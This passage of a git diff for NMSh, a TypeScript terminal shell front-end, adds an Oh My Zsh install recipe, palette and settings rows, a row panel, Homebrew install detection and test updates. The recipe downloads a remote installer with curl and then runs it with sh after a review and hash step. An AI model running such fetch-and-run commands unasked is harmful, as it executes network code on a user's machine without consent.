prerequisites: ['zsh', 'git', 'curl or wget'], + filesAtRisk: env => [join(zdotdir(env), '.zshrc'), join(zdotdir(env), '.zshrc.pre-oh-my-zsh'), join(zdotdir(env), '.shell.pre-oh-my-zsh')], + snapshotTargets: env => [join(zdotdir(env), '.zshrc')], + safeEnvironment: {KEEP_ZSHRC: 'yes', CHSH: 'no', RUNZSH: 'no', REPO: 'ohmyzsh/ohmyzsh', REMOTE: 'https://github.com/ohmyzsh/ohmyzsh.git', BRANCH: 'master'}, + safeArgs: ['--unattended', '--keep-zshrc'], + handoff: 'manual-terminal', + steps: env => { + // A file in your own home, not a predictable name in a shared temp directory that another user could replace between download and run. + const file = join(env.HOME && isAbsolute(env.HOME) ? env.HOME : homedir(), 'ohmyzsh-install.sh'); + const settings = Object.entries(OH_MY_ZSH_INSTALL.safeEnvironment).map(([name, value]) => `${name}=${value}`).join(' '); + return [`curl -fsSL -o ${quote(file)} ${OH_MY_ZSH_INSTALLER_URL}`, `less ${quote(file)}`, `shasum -a 256 ${quote(file)}`, + `${settings} sh ${quote(file)} ${OH_MY_ZSH_INSTALL.safeArgs.join(' ')}`]; + }, + verify: env => detectOhMyZsh(env), + recoveryHints: ['KEEP_ZSHRC=yes leaves your .zshrc in place, so Oh My Zsh is not loaded until you add its lines yourself (see its templates/zshrc.zsh-template).', + 'If .zshrc changed anyway, NMSh shows the change and keeps the backup it made; it never restores silently.'], +}; + +export interface FileFacts {path: string; exists: boolean; bytes?: number; modified?: Date; sha256?: string; symlink?: boolean} + +export function fileFacts(path: string, hash: (content: Buffer) => string): FileFacts { + try { + const link = lstatSync(path); + const info = statSync(path); + if (!info.isFile()) return {path, exists: false}; + return {path, exists: true, bytes: info.size, modified: info.mtime, sha256: hash(readFileSync(path)), symlink: link.isSymbolicLink()}; + } catch { return {path, exists: false}; } +} + +/** The current .zshrc and the installer's .zshrc.pre-oh-my-zsh, when the latter exists. */ +export function previousZshrc(env: NodeJS.ProcessEnv = process.env): {current: string; previous: string} | undefined { + const dir = zdotdir(env); + const previous = join(dir, '.zshrc.pre-oh-my-zsh'); + return isFile(previous) ? {current: join(dir, '.zshrc'), previous} : undefined; +} diff --git a/src/ui/CommandPalette.ts b/src/ui/CommandPalette.ts index 97572f8e..746effcd 100644 --- a/src/ui/CommandPalette.ts +++ b/src/ui/CommandPalette.ts @@ -41,8 +41,9 @@ const ARGUMENT_COMMANDS = new Set(['/copy N']); export function paletteItems(): PaletteItem[] { const items: PaletteItem[] = [{id: 'inspector:toggle', label: 'Toggle command inspector', detail: 'Local token knowledge at the composer cursor', category: 'Command', action: {kind: 'toggleInspector'}}]; for (const command of slashCommands) { - if (ARGUMENT_COMMANDS.has(command.name)) continue; - items.push({id: `slash:${command.name}`, label: command.name, detail: command.description, category: 'Command', + // Aliases resolve to the same surface as their canonical command: one palette entry each. + if (ARGUMENT_COMMANDS.has(command.name) || command.alias) continue; + items.push({id: `slash:${command.name}`, label: command.title ? `${command.title} · ${command.name}` : command.name, detail: command.description, category: 'Command', action: {kind: 'slash', command: command.insertion.trim()}}); } for (const entry of SETTINGS_ENTRIES) { @@ -63,6 +64,10 @@ export function paletteItems(): PaletteItem[] { action: {kind: 'cycleOutputFolding'}}, {id: 'transcript:details', label: 'Expand or collapse output', detail: 'Same as Ctrl+O on the latest block', category: 'Transcript', action: {kind: 'toggleDetails'}}, + {id: 'awake:idle', label: 'Keep computer awake', detail: '/caffeinate idle · Keep Awake (awake, zoomies): prevent idle sleep', category: 'Command', action: {kind: 'slash', command: '/caffeinate idle'}}, + {id: 'awake:display', label: 'Keep display awake', detail: '/caffeinate display · Keep Awake: display and machine stay awake (sleep)', category: 'Command', action: {kind: 'slash', command: '/caffeinate display'}}, + {id: 'awake:status', label: 'Keep-awake status', detail: '/caffeinate status · caffeinate, awake, zoomies', category: 'Command', action: {kind: 'slash', command: '/caffeinate status'}}, + {id: 'awake:stop', label: 'Stop keep-awake', detail: '/caffeinate stop · normal sleep returns', category: 'Command', action: {kind: 'slash', command: '/caffeinate stop'}}, {id: 'transcript:latest', label: 'Jump to latest output', detail: 'Same as Ctrl+End', category: 'Transcript', action: {kind: 'latest'}}, ); for (const palette of NATIVE_PALETTE_IDS) { diff --git a/src/ui/LayoutPanel.ts b/src/ui/LayoutPanel.ts index ba2e7473..93beaa59 100644 --- a/src/ui/LayoutPanel.ts +++ b/src/ui/LayoutPanel.ts @@ -113,6 +113,7 @@ export function renderLayoutPreview(choice: LayoutChoice, columns: number, rows: status: [], notices: [], find: [], + awake: [], }; const frame = new Array(plan.rows).fill(''); for (const region of plan.regions) { diff --git a/src/ui/PanelShell.ts b/src/ui/PanelShell.ts index 73b714b0..086f83f8 100644 --- a/src/ui/PanelShell.ts +++ b/src/ui/PanelShell.ts @@ -3,6 +3,7 @@ import {background, foreground, UI_COLORS} from './palette.js'; import {truncateAnsi, displayWidth} from '../util/text.js'; import {theme} from '../chroma/chroma.js'; import {renderSurface} from './surface.js'; +import {colorLevel} from '../presentation/capabilities.js'; const RESET = '\u001B[0m'; const BOLD = '\u001B[1m'; @@ -51,6 +52,24 @@ export function renderTabStrip(tabs: readonly string[], selected: number, column return truncateAnsi(line, width); } +/** + * The strong selected-row treatment, shared with the active tab: one + * full-width deep-lavender band with the theme's project foreground. Without + * color it is reverse video, so the selection never depends on color alone. + * Every reset inside the row re-opens the band, so styled parts stay on it. + */ +export function selectedRowBand(row: string, columns: number): string { + const none = colorLevel() === 'none'; + const band = none ? '\u001B[7m' : `${background(UI_COLORS.projectBackground)}${foreground(UI_COLORS.projectForeground)}`; + const body = truncateAnsi(row, columns).replaceAll(RESET, `${RESET}${band}`); + return `${band}${body}${band}${' '.repeat(Math.max(0, columns - displayWidth(body)))}${RESET}`; +} + +/** Foreground for quiet text on the selected band: readable on it, never the dim muted gray. */ +export function onSelectedBand(): string { + return colorLevel() === 'none' ? '' : foreground(UI_COLORS.projectForeground); +} + /** Framing belongs to the live overlay, never to OutputBuffer or an archive. */ export function framePanel(rows: string[], columns: number, treatment?: TreatmentSettings): string[] { const framed = renderSurface(rows, columns, {frame: 'topLine', frameColor: theme('separator')}); diff --git a/src/ui/RowPanel.ts b/src/ui/RowPanel.ts new file mode 100644 index 00000000..230581a6 --- /dev/null +++ b/src/ui/RowPanel.ts @@ -0,0 +1,64 @@ +import type {Key} from '../terminal/keys.js'; +import type {PromptConfiguration} from '../prompt/configuration.js'; +import {adjustSettingsRow, settingsRowValue, SETTINGS_ROWS, toggleSettingsRow, type SettingsRow} from './SettingsPanel.js'; +import {framePanel} from './PanelShell.js'; +import {renderControls} from './controls.js'; +import {foreground, UI_COLORS} from './palette.js'; +import {GLYPHS} from './glyphs.js'; +import {padCells, truncateAnsi} from '../util/text.js'; + +/** + * A focused panel over a fixed set of the canonical Settings rows (for + * example the Status Strip). It holds no settings of its own: every change + * is the Settings row's own `select`, applied through the normal + * configuration path by the caller. + */ +export interface RowPanelState { + title: string; + subtitle: string; + rowIds: readonly string[]; + selected: number; +} + +export function createRowPanel(title: string, subtitle: string, rowIds: readonly string[]): RowPanelState { + return {title, subtitle, rowIds, selected: 0}; +} + +function rows(state: RowPanelState, config: PromptConfiguration): SettingsRow[] { + return state.rowIds.map(id => SETTINGS_ROWS.find(row => row.id === id)).filter((row): row is SettingsRow => Boolean(row) && (row!.when?.(config) ?? true)); +} + +export type RowPanelAction = {kind: 'close'} | {kind: 'change'; configuration: PromptConfiguration}; + +export function rowPanelKey(state: RowPanelState, key: Key, config: PromptConfiguration): RowPanelAction | undefined { + const visible = rows(state, config); + state.selected = Math.max(0, Math.min(state.selected, visible.length - 1)); + if (key.kind === 'escape' || key.kind === 'interrupt') return {kind: 'close'}; + if (key.kind === 'up' || key.kind === 'down') { state.selected = (state.selected + (key.kind === 'up' ? -1 : 1) + visible.length) % visible.length; return undefined; } + const row = visible[state.selected]; + if (!row) return undefined; + const next = key.kind === 'left' || key.kind === 'right' ? adjustSettingsRow(row, config, key.kind === 'left' ? -1 : 1) + : key.kind === 'enter' || (key.kind === 'text' && key.value === ' ') ? toggleSettingsRow(row, config) : undefined; + return next ? {kind: 'change', configuration: next} : undefined; +} + +export function renderRowPanel(state: RowPanelState, config: PromptConfiguration, columns: number, height: number, preview: readonly string[]): string[] { + const primary = foreground(UI_COLORS.primary); + const secondary = foreground(UI_COLORS.secondary); + const subtle = foreground(UI_COLORS.subtle); + const accent = foreground(UI_COLORS.accent); + const reset = '\u001B[0m'; + const visible = rows(state, config); + const out = [` ${primary}${state.title}${reset} ${subtle}${state.subtitle}${reset}`, '']; + visible.forEach((row, index) => { + const selected = index === state.selected; + const value = settingsRowValue(row, config) ?? ''; + const indent = row.parent ? ' ' : ''; + out.push(`${selected ? `${accent}${GLYPHS.selection}${reset}` : ' '} ${indent}${selected ? primary : secondary}${padCells(row.label.trim(), 22 - indent.length)}${reset}${selected ? `${accent}‹ ${value} ›${reset}` : value}`); + }); + const description = visible[state.selected]?.description; + if (description && height >= out.length + preview.length + 6) out.push('', ` ${subtle}${description}${reset}`); + if (preview.length && height >= out.length + preview.length + 4) out.push('', ` ${subtle}Preview${reset}`, ...preview); + out.push('', renderControls([['↑↓', 'select'], ['←→', 'change'], ['Esc', 'close']])); + return framePanel(out.map(line => truncateAnsi(line, columns)), columns).slice(0, Math.max(1, height)); +} diff --git a/src/ui/SettingsPanel.ts b/src/ui/SettingsPanel.ts index 1d699d87..be185116 100644 --- a/src/ui/SettingsPanel.ts +++ b/src/ui/SettingsPanel.ts @@ -3,6 +3,7 @@ import {shellAdapter} from '../shell/adapters/registry.js'; import {OPEN_WITH_IDS} from '../host/HostActions.js'; import {TREATMENT_PRESETS, TREATMENT_PRESET_LABELS, TREATMENT_GEOMETRIES, TREATMENT_GEOMETRY_LABELS, TREATMENT_MOTIONS, TREATMENT_MOTION_LABELS, TREATMENT_SPEEDS, TREATMENT_SPEED_LABELS, TREATMENT_INFLUENCES, treatmentInfluence, SEMANTIC_MODES, SEMANTIC_MODE_LABELS, TREATMENT_SCOPES, TREATMENT_SCOPE_LABELS, TREATMENT_CURVES, TREATMENT_CURVE_LABELS, DIVIDER_LINES_HELP, dividerLinesLabel, PRESET_STOPS} from '../chroma/treatment.js'; +import {historicalPromptLevel} from '../output/TranscriptPanel.js'; import {PANEL_POSITIONS, DIVIDER_COLOR_LABELS, DIVIDER_COLOR_MODES, NATIVE_PALETTE_IDS, CURSOR_BLINKS, CURSOR_SHAPES, IDLE_COLOR_LABELS, IDLE_COLOR_SOURCES, IDLE_TIMEOUTS, LIVE_ACTIVITY_COLORS, LIVE_ACTIVITY_COLOR_LABELS, RAM_DISPLAYS, LOCAL_UNDERSTANDING_LABELS, LOCAL_UNDERSTANDING_MODES, SHELL_MODULE_VISIBILITY, SHELL_MODULE_VISIBILITY_LABELS, applyShellModuleVisibility, shellModuleVisibility, type StatusStripSettings} from '../prompt/configuration.js'; import {IDLE_MODES, IDLE_MODE_LABELS} from '../idle/scenes.js'; import {MOTION_LABELS, MOTION_RENDERING_ITEM, MOTION_ROWS, MOTION_TUNING_ITEMS, type MotionItem} from '../motion/motionRows.js'; @@ -13,7 +14,9 @@ import {availabilityOf, availableValues, currentCursorHost, unavailableReason, t import {describeCursorColor, contextFor} from '../cursor/colors.js'; import {CURSOR_EFFECTS, CURSOR_IDLE_EFFECTS, CURSOR_LEVELS, CURSOR_MOTIONS, CURSOR_RENDERERS, type CursorSettings} from '../prompt/configuration.js'; import {CHROME_PRESET_LABELS, CHROME_PRESETS, CHROME_SOURCES, chromeColorsFrom, LAVENDER_TINT_LABELS, LAVENDER_TINTS, resolveChrome} from '../appearance/uiChrome.js'; -import {defaultVariant, FAMILY_IDS, FAMILY_LABELS, familyOf, selectFamily, variantOptions} from '../appearance/themeSelection.js'; +import {currentSelectionFamily, defaultVariant, FAMILY_IDS, FAMILY_LABELS, familyOf, selectionFamilies, selectionFamilyLabel, selectionVariants, selectSelectionFamily, variantOptions} from '../appearance/themeSelection.js'; +import {librarySummary} from '../appearance/themeLibrary.js'; +import {BRIDGE_TARGETS, effectiveMode} from '../themeBridge/model.js'; import {PROMPT_SYMBOL_IDS, promptSymbolLabel} from '../prompt/glyphChoices.js'; import {VIBRANCE_LABELS, VIBRANCE_LEVELS} from '../chroma/color.js'; import {OUTPUT_FOLDING_MODES} from '../output/FoldPolicy.js'; @@ -84,7 +87,7 @@ export function switchSettingsView(state: SettingsPanelState, delta: -1 | 1): vo /** Where Enter leads: `glyph` is the rich glyph preview inside the panel, the rest are full panels. */ export type SettingsDestination = 'glyph' | 'appearance' | 'prompt' | 'transcript' | 'syntax' | 'layout' | 'keyboard' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation' | 'toolConfig' | 'tools' - | 'setup' | 'resetInstallSuggestions' | 'screensaver' | 'chromeColors' | 'cursor' | 'idleColors' | 'activityColors' | 'themeStudio'; + | 'setup' | 'resetInstallSuggestions' | 'screensaver' | 'chromeColors' | 'cursor' | 'idleColors' | 'activityColors' | 'themeStudio' | 'themeBridge'; interface SettingsRowBase { id: string; @@ -184,17 +187,23 @@ const THEME_ROWS: readonly SettingsRow[] = [ }}, {id: 'uiChromeColors', parent: 'uiChromePreset', when: c => c.uiChrome.source === 'custom' && c.uiChrome.preset === 'custom', label: 'Edit colors', description: 'Accent, text, separator, selection and status roles with the color picker', category: 'Appearance', control: 'action', actionLabel: 'Edit ›', destination: 'chromeColors'}, - {id: 'themeFamily', label: 'Theme family', description: 'NMSh themes, bundled families or your Custom theme; colors NMSh-owned UI only', category: 'Appearance', - control: 'enum', options: FAMILY_LABELS, index: c => FAMILY_IDS.indexOf(familyOf(c.nmsh.palette)), - select: (c, index) => familyOf(c.nmsh.palette) === FAMILY_IDS[index] ? c : selectFamily(c, FAMILY_IDS[index]!)}, - {id: 'themeVariant', parent: 'themeFamily', when: c => variantOptions(familyOf(c.nmsh.palette)).length > 1, label: 'Variant', - description: 'Flavor, style or variant within the theme family', category: 'Appearance', control: 'enum', - options: [], optionsFor: c => variantOptions(familyOf(c.nmsh.palette)).map(option => option.label), - index: c => Math.max(0, variantOptions(familyOf(c.nmsh.palette)).findIndex(option => option.id === c.nmsh.palette)), + {id: 'themeFamily', label: 'Theme', description: 'Built-in NMSh themes and families, or your Imported and Custom themes (manage them in /theme); colors NMSh-owned UI only', category: 'Appearance', + control: 'enum', options: FAMILY_LABELS, optionsFor: c => selectionFamilies(c).map(selectionFamilyLabel), + index: c => Math.max(0, selectionFamilies(c).indexOf(currentSelectionFamily(c))), + select: (c, index) => { const families = selectionFamilies(c); return selectSelectionFamily(c, families[((index % families.length) + families.length) % families.length]!); }}, + {id: 'themeVariant', parent: 'themeFamily', when: c => selectionVariants(c, currentSelectionFamily(c)).length > 1, label: 'Variant', + description: 'Flavor, style or variant within the family, or which Imported/Custom theme', category: 'Appearance', control: 'enum', + options: [], optionsFor: c => selectionVariants(c, currentSelectionFamily(c)).map(option => option.label), + index: c => Math.max(0, selectionVariants(c, currentSelectionFamily(c)).findIndex(option => option.current(c))), select: (c, index) => { - const options = variantOptions(familyOf(c.nmsh.palette)); - return {...c, nmsh: {...c.nmsh, palette: options[((index % options.length) + options.length) % options.length]!.id}}; + const options = selectionVariants(c, currentSelectionFamily(c)); + return options[((index % options.length) + options.length) % options.length]!.apply(c); }}, + {id: 'themeStudio', parent: 'themeFamily', label: 'Theme Studio', description: 'Create, edit, import, export and manage Native themes', category: 'Appearance', + control: 'action', actionLabel: 'Open ›', value: c => [librarySummary(c.themes), 'Open ›'].filter(Boolean).join(' '), destination: 'themeStudio'}, + {id: 'themeBridge', label: 'Theme Bridge', description: 'Extend NMSh themes to fzf, less/man, LS_COLORS, tmux, Neovim, Vim and Helix; every tool starts Independent', category: 'Appearance', + control: 'action', actionLabel: "Open ›", value: c => { const active = BRIDGE_TARGETS.filter(target => effectiveMode(c.themeBridge, target) !== 'independent').length; + return `${active ? `${active} tool${active === 1 ? '' : 's'}` : 'Off'} Open ›`; }, destination: 'themeBridge'}, enumRow({id: 'pastePreview', label: 'Paste preview', description: 'Smart: multiline, chained, mutating or risky pastes are shown before they enter the composer (never changed; nothing runs until Enter). Always: every paste. Off: insert at once', category: 'Editor', values: ['smart', 'always', 'off'] as const, labels: ['Smart', 'Always', 'Off'], get: c => c.pastePreview, set: (c, pastePreview) => ({...c, pastePreview})}), @@ -323,9 +332,10 @@ export const SETTINGS_ROWS: readonly SettingsRow[] = [ enumRow({id: 'dividerColors', level: 'advanced', parent: 'divider', when: config => config.transcript.divider, label: 'Divider colors', description: 'Past-command dividers: Follow Chroma (static in history), the History colors, the UI theme, or a muted grayscale', category: 'Transcript', values: DIVIDER_COLOR_MODES, labels: DIVIDER_COLOR_MODES.map(mode => DIVIDER_COLOR_LABELS[mode]), get: config => config.transcript.dividerColors, set: (config, dividerColors) => withTranscript(config, {dividerColors})}), - {id: 'historicalPrompt', label: 'Prompt snapshots', description: 'Show the prompt each past command ran under', category: 'Transcript', - control: 'boolean', get: config => config.transcript.historicalPrompt, - set: (config, historicalPrompt) => withTranscript(config, {historicalPrompt})}, + enumRow({id: 'historicalPrompt', label: 'Prompt snapshots', description: 'How past commands show the prompt they ran under: Full, Compact (place, branch, marker), Minimal (marker) or Off. Stored snapshots stay complete', category: 'Transcript', + values: ['full', 'compact', 'minimal', 'off'] as const, labels: ['Full', 'Compact', 'Minimal', 'Off'], + get: config => historicalPromptLevel(config.transcript), + set: (config, level) => withTranscript(config, level === 'off' ? {historicalPrompt: false} : {historicalPrompt: true, historicalPromptLevel: level})}), enumRow({id: 'historyColors', level: 'advanced', parent: 'historicalPrompt', when: config => config.transcript.historicalPrompt, label: 'History colors', description: 'How past prompt snapshots are colored', category: 'Transcript', values: COLOR_MODES, labels: ['Follow prompt', 'Choose theme', 'Grayscale'], get: config => config.transcript.historyColors, set: (config, historyColors) => withTranscript(config, {historyColors})}), @@ -442,7 +452,7 @@ export const SETTINGS_ROWS: readonly SettingsRow[] = [ values: FOCUS_POLICIES, labels: ['Suppress', 'Notify'], get: config => config.notifications.whenFocused, set: (config, whenFocused) => withNotifications(config, {whenFocused})}), ...CURSOR_ROWS, - {id: 'promptSymbol', when: nativePrompt, label: 'Prompt symbol', description: 'The composer marker; a custom symbol is typed in /prompt. Starship/Powerlevel10k prompts are unchanged', category: 'Prompt', + {id: 'promptSymbol', when: c => c.provider === 'nmsh' || c.provider === 'none', label: 'Prompt symbol', description: 'The input marker before the command (also with Prompt None); a custom symbol is typed in /prompt. Starship/Powerlevel10k prompts are unchanged', category: 'Prompt', // Custom is offered here only once a glyph exists; the glyph is typed in /prompt. control: 'enum', options: PROMPT_SYMBOL_IDS.filter(id => id !== 'custom').map(id => promptSymbolLabel(id)), optionsFor: c => symbolIds(c).map(id => promptSymbolLabel(id, c.promptSymbolCustom)), diff --git a/src/update/update.ts b/src/update/update.ts index 025cdd4c..e7bb3db9 100644 --- a/src/update/update.ts +++ b/src/update/update.ts @@ -142,10 +142,41 @@ export function installRoot(moduleUrl = import.meta.url): string { export type InstallInfo = | {kind: 'checkout'; root: string; branch?: string; head: string} + /** Installed with Homebrew: the keg owns these files; updates go through `brew upgrade nmsh`. */ + | {kind: 'homebrew'; root: string; version: string; prefix: string; tap?: string} | {kind: 'unsupported'; root: string; reason: string}; +/** + * A Homebrew keg, from Homebrew's own metadata: NMSh's libexec inside + * /Cellar/nmsh// next to the INSTALL_RECEIPT.json Homebrew + * writes for every installed keg (it names the tap). No brew process is run. + */ +export function detectHomebrewInstall(root: string): Extract | undefined { + let real: string; + try { real = realpathSync(root); } catch { return undefined; } + const match = /^(.+)\/Cellar\/nmsh\/([^/]+)\/libexec$/u.exec(real); + if (!match) return undefined; + const [, prefix, version] = match; + try { + const receipt = JSON.parse(readFileSync(join(prefix!, 'Cellar', 'nmsh', version!, 'INSTALL_RECEIPT.json'), 'utf8')) as {source?: {tap?: unknown}}; + const tap = typeof receipt.source?.tap === 'string' ? receipt.source.tap : undefined; + return {kind: 'homebrew', root: real, version: version!, prefix: prefix!, ...(tap ? {tap} : {})}; + } catch { return undefined; } +} + +/** One factual provenance line for /version, /status and diagnostics (no network, no brew process). */ +export function installProvenanceLabel(root: string = installRoot()): string { + const homebrew = detectHomebrewInstall(root); + if (homebrew) return `Homebrew${homebrew.tap ? ` (${homebrew.tap})` : ''} · update with brew upgrade nmsh`; + return existsSync(join(root, '.git')) ? `source checkout · ${root}` : `other/manual installation · ${root}`; +} + +export const HOMEBREW_UPDATE_STEPS = ['brew update', 'brew upgrade nmsh'] as const; + /** Provenance from facts only: an official, clean git checkout, or unsupported with the reason. */ export async function detectInstall(root: string, runner: CommandRunner = systemRunner): Promise { + const homebrew = detectHomebrewInstall(root); + if (homebrew) return homebrew; if (!existsSync(join(root, '.git'))) { return {kind: 'unsupported', root, reason: `${root} is not a git checkout, so NMSh cannot tell how it was installed.`}; } @@ -187,6 +218,9 @@ export function manualSteps(root: string, tag: string): string[] { export async function planUpdate(install: InstallInfo, release: ReleaseInfo, runner: CommandRunner = systemRunner, tagCommit: (tag: string) => Promise = tag => fetchTagCommit(tag)): Promise { const manual = manualSteps(install.root, release.tag); + if (install.kind === 'homebrew') { + return {ok: false, reason: `Installed with Homebrew${install.tap ? ` (${install.tap})` : ''}; Homebrew owns these files, so NMSh does not change them.`, manual: [...HOMEBREW_UPDATE_STEPS]}; + } if (install.kind !== 'checkout') return {ok: false, reason: install.reason, manual: [`Download ${release.url}`, 'and reinstall it the way you installed NMSh.']}; const {root} = install; const dirty = await runner.run('git', ['status', '--porcelain', '--untracked-files=no'], root); diff --git a/tests/appearanceHub.test.ts b/tests/appearanceHub.test.ts index ba13a799..bcb4f19f 100644 --- a/tests/appearanceHub.test.ts +++ b/tests/appearanceHub.test.ts @@ -10,7 +10,9 @@ const text = (rows: string[]) => stripAnsi(rows.join('\n')); test('/appearance always offers the NMSh rows, with or without host integration', () => { const zed = createAppearanceHub('Zed', undefined, 'Opacity and blur are controlled by Zed.'); const rendered = text(renderAppearanceHub(zed, config(), 100, 'Lavender Native', 'Portable')); - for (const label of ['Prompt & theme', 'Cursor & effects', 'UI chrome', 'Chroma', 'Motion']) assert.match(rendered, new RegExp(label, 'u')); + for (const label of ['Theme Studio', 'Prompt', 'Cursor & effects', 'UI chrome', 'Chroma', 'Motion', 'Theme Bridge']) assert.match(rendered, new RegExp(label, 'u')); + assert.doesNotMatch(rendered, /Prompt & theme/u, 'themes are not presented as prompt-only'); + assert.match(rendered, /Theme Bridge\s+Off · every tool Independent/u); assert.match(rendered, /Host\s+Zed/u); assert.match(rendered, /controlled by Zed/u); assert.doesNotMatch(rendered, /Opacity\s+█/u); @@ -20,7 +22,7 @@ test('host with appearance integration keeps opacity/blur editing; Enter saves o const hub = createAppearanceHub('Ghostty-like host', {opacity: 0.9, blurModeIndex: 0, blurStrength: 20, selectedIndex: 0}); const rendered = text(renderAppearanceHub(hub, config(), 100, 'Lavender Native', 'Portable')); assert.match(rendered, /Opacity\s+█+░*\s+90%/u); - hub.selected = 5; // first host row + hub.selected = 7; // first host row assert.equal(appearanceHubKey(hub, {kind: 'enter'}, config()), undefined, 'nothing to save yet'); appearanceHubKey(hub, {kind: 'right'}, config()); assert.equal(hub.host!.opacity, 0.95); @@ -29,12 +31,16 @@ test('host with appearance integration keeps opacity/blur editing; Enter saves o test('NMSh rows open the canonical editors; Motion opens the general motion screen', () => { const hub = createAppearanceHub('Zed'); - assert.deepEqual(appearanceHubKey(hub, {kind: 'enter'}, config()), {kind: 'open', destination: 'prompt'}); + assert.deepEqual(appearanceHubKey(hub, {kind: 'enter'}, config()), {kind: 'open', destination: 'theme'}); hub.selected = 1; + assert.deepEqual(appearanceHubKey(hub, {kind: 'enter'}, config()), {kind: 'open', destination: 'prompt'}); + hub.selected = 2; assert.deepEqual(appearanceHubKey(hub, {kind: 'enter'}, config()), {kind: 'open', destination: 'cursor'}); - hub.selected = 3; - assert.deepEqual(appearanceHubKey(hub, {kind: 'enter'}, config()), {kind: 'open', destination: 'chroma'}); hub.selected = 4; + assert.deepEqual(appearanceHubKey(hub, {kind: 'enter'}, config()), {kind: 'open', destination: 'chroma'}); + hub.selected = 6; + assert.deepEqual(appearanceHubKey(hub, {kind: 'enter'}, config()), {kind: 'open', destination: 'themeBridge'}); + hub.selected = 5; assert.equal(appearanceHubKey(hub, {kind: 'enter'}, config()), undefined); assert.equal(hub.view, 'motion'); const motion = text(renderAppearanceHub(hub, config(), 100, 'Lavender Native', 'Portable')); @@ -47,4 +53,5 @@ test('NMSh rows open the canonical editors; Motion opens the general motion scre assert.equal(change?.kind === 'motion' && change.motion.contextTransitions, 'expressive'); appearanceHubKey(hub, {kind: 'escape'}, config()); assert.equal(hub.view, 'hub'); + assert.equal(hub.selected, 5, 'back on the Motion row'); }); diff --git a/tests/askConcepts.test.ts b/tests/askConcepts.test.ts index 4af5ad18..21297e6a 100644 --- a/tests/askConcepts.test.ts +++ b/tests/askConcepts.test.ts @@ -51,7 +51,7 @@ const MATRIX: Array<[string, string]> = [ ['change cursor blink', '/cursor'], ['change syntax highlighting', '/syntax'], ['change transcript layout', '/layout'], ['open the screensaver', '/screensaver'], ['show agent activity', '/agents'], ['what version am i running', '/version'], ['check for updates', '/update'], ['change keyboard shortcuts', '/keyboard'], ['open session presets', '/presets'], ['change live activity colors', '/activity'], - ['change the welcome screen', '/providers'], ['configure the status strip', 'answer:/settings'], ['change nerd font icons', 'answer:/settings'], + ['change the welcome screen', '/providers'], ['configure the status strip', '/strip'], ['change nerd font icons', '/glyphs'], ['use nushell', 'unsupported'], ['open a new tab', 'unsupported'], ]; diff --git a/tests/autocomplete.test.ts b/tests/autocomplete.test.ts index 0f95f68d..8560751b 100644 --- a/tests/autocomplete.test.ts +++ b/tests/autocomplete.test.ts @@ -4,9 +4,10 @@ import {parseSlashCommand, slashSuggestions, suggestionWindow} from '../src/comm import {calculateScreenLayout} from '../src/app/layout.js'; test('slash autocomplete exposes copy variants and help', () => { - assert.deepEqual(slashSuggestions('/co').map(item => item.name), ['/copy', '/copy N', '/config']); - assert.deepEqual(slashSuggestions('/h').map(item => item.name), ['/help', '/history']); - assert.deepEqual(slashSuggestions('/z').map(item => item.name), ['/zsh']); + assert.deepEqual(slashSuggestions('/co').map(item => item.name), ['/copy', '/copy N', '/config', '/composer', '/configure']); + assert.deepEqual(slashSuggestions('/h').map(item => item.name), ['/help', '/history', '/history-provider']); + assert.deepEqual(parseSlashCommand('/history-provider'), {kind: 'providers', family: 'history'}, '/history stays history search'); + assert.deepEqual(slashSuggestions('/z').map(item => item.name), ['/zoomies', '/zsh']); assert.deepEqual(parseSlashCommand('/clear'), {kind: 'clear'}); assert.deepEqual(parseSlashCommand('/resume'), {kind: 'resume'}); }); diff --git a/tests/chromaPolish.test.ts b/tests/chromaPolish.test.ts index 5ad0555c..c76ffbf3 100644 --- a/tests/chromaPolish.test.ts +++ b/tests/chromaPolish.test.ts @@ -12,7 +12,7 @@ import {UI_COLORS, foreground} from '../src/ui/palette.js'; import {applyUiTheme, defaultUiColors, uiColorsFor} from '../src/appearance/uiTheme.js'; import {chromeFromColors, LAVENDER_ACCENT, LAVENDER_SURFACE, LAVENDER_TEXT, lavenderChrome, nativeThemeChrome, normalizeUiChrome, resolveChrome} from '../src/appearance/uiChrome.js'; import {createChromeEditor, chromeEditorKey} from '../src/appearance/ChromeEditor.js'; -import {createThemeStudio, draftDiffersFromBase, STUDIO_ROWS, studioKey} from '../src/appearance/ThemeStudio.js'; +import {createThemeEditor, draftDiffersFromBase, editorKey, STUDIO_ROWS} from '../src/appearance/ThemeStudio.js'; import {cloneFromPalette} from '../src/appearance/themeSelection.js'; import {parseSlashCommand} from '../src/commands/slashCommands.js'; import {createSetup, renderSetup, sectionIndex, SETUP_SECTIONS, setupKey} from '../src/setup/SetupCat.js'; @@ -173,39 +173,39 @@ test('Travel loops seamlessly; motion choices lead with Breathe; Breathe, Comet test('Theme Studio: Reset to base resets the draft only; cancel after reset and save after reset', () => { const saved = cloneFromPalette('nord', 'mauve', 'Mine'); saved.prompt.project = '#123456'; - const state = createThemeStudio(saved, 'custom'); + const state = createThemeEditor(saved, 'custom'); assert.equal(state.base, 'nord', 'the recorded Based on theme is the reset target'); state.selected = STUDIO_ROWS.findIndex(item => item.kind === 'reset'); - studioKey(state, {kind: 'enter'}, 'truecolor', '/'); + editorKey(state, {kind: 'enter'}, 'truecolor'); assert.equal(state.confirmReset, true, 'edits relative to base are confirmed first'); - studioKey(state, {kind: 'escape'}, 'truecolor', '/'); + editorKey(state, {kind: 'escape'}, 'truecolor'); assert.equal(state.draft.prompt.project, '#123456', 'Esc keeps editing, nothing reset'); - studioKey(state, {kind: 'enter'}, 'truecolor', '/'); - studioKey(state, {kind: 'enter'}, 'truecolor', '/'); + editorKey(state, {kind: 'enter'}, 'truecolor'); + editorKey(state, {kind: 'enter'}, 'truecolor'); assert.equal(state.draft.prompt.project, '#88c0d0'); assert.equal(state.draft.name, 'Mine', 'the draft keeps its name'); assert.equal(saved.prompt.project, '#123456', 'the saved theme is untouched by a reset'); - assert.deepEqual(studioKey(state, {kind: 'escape'}, 'truecolor', '/'), {kind: 'cancel'}, 'Esc after reset abandons the draft'); + assert.deepEqual(editorKey(state, {kind: 'escape'}, 'truecolor'), {kind: 'cancel'}, 'Esc after reset abandons the draft'); // Save after reset returns the reset colors. - const again = createThemeStudio(saved, 'custom'); + const again = createThemeEditor(saved, 'custom'); again.selected = STUDIO_ROWS.findIndex(item => item.kind === 'reset'); - studioKey(again, {kind: 'enter'}, 'truecolor', '/'); studioKey(again, {kind: 'enter'}, 'truecolor', '/'); + editorKey(again, {kind: 'enter'}, 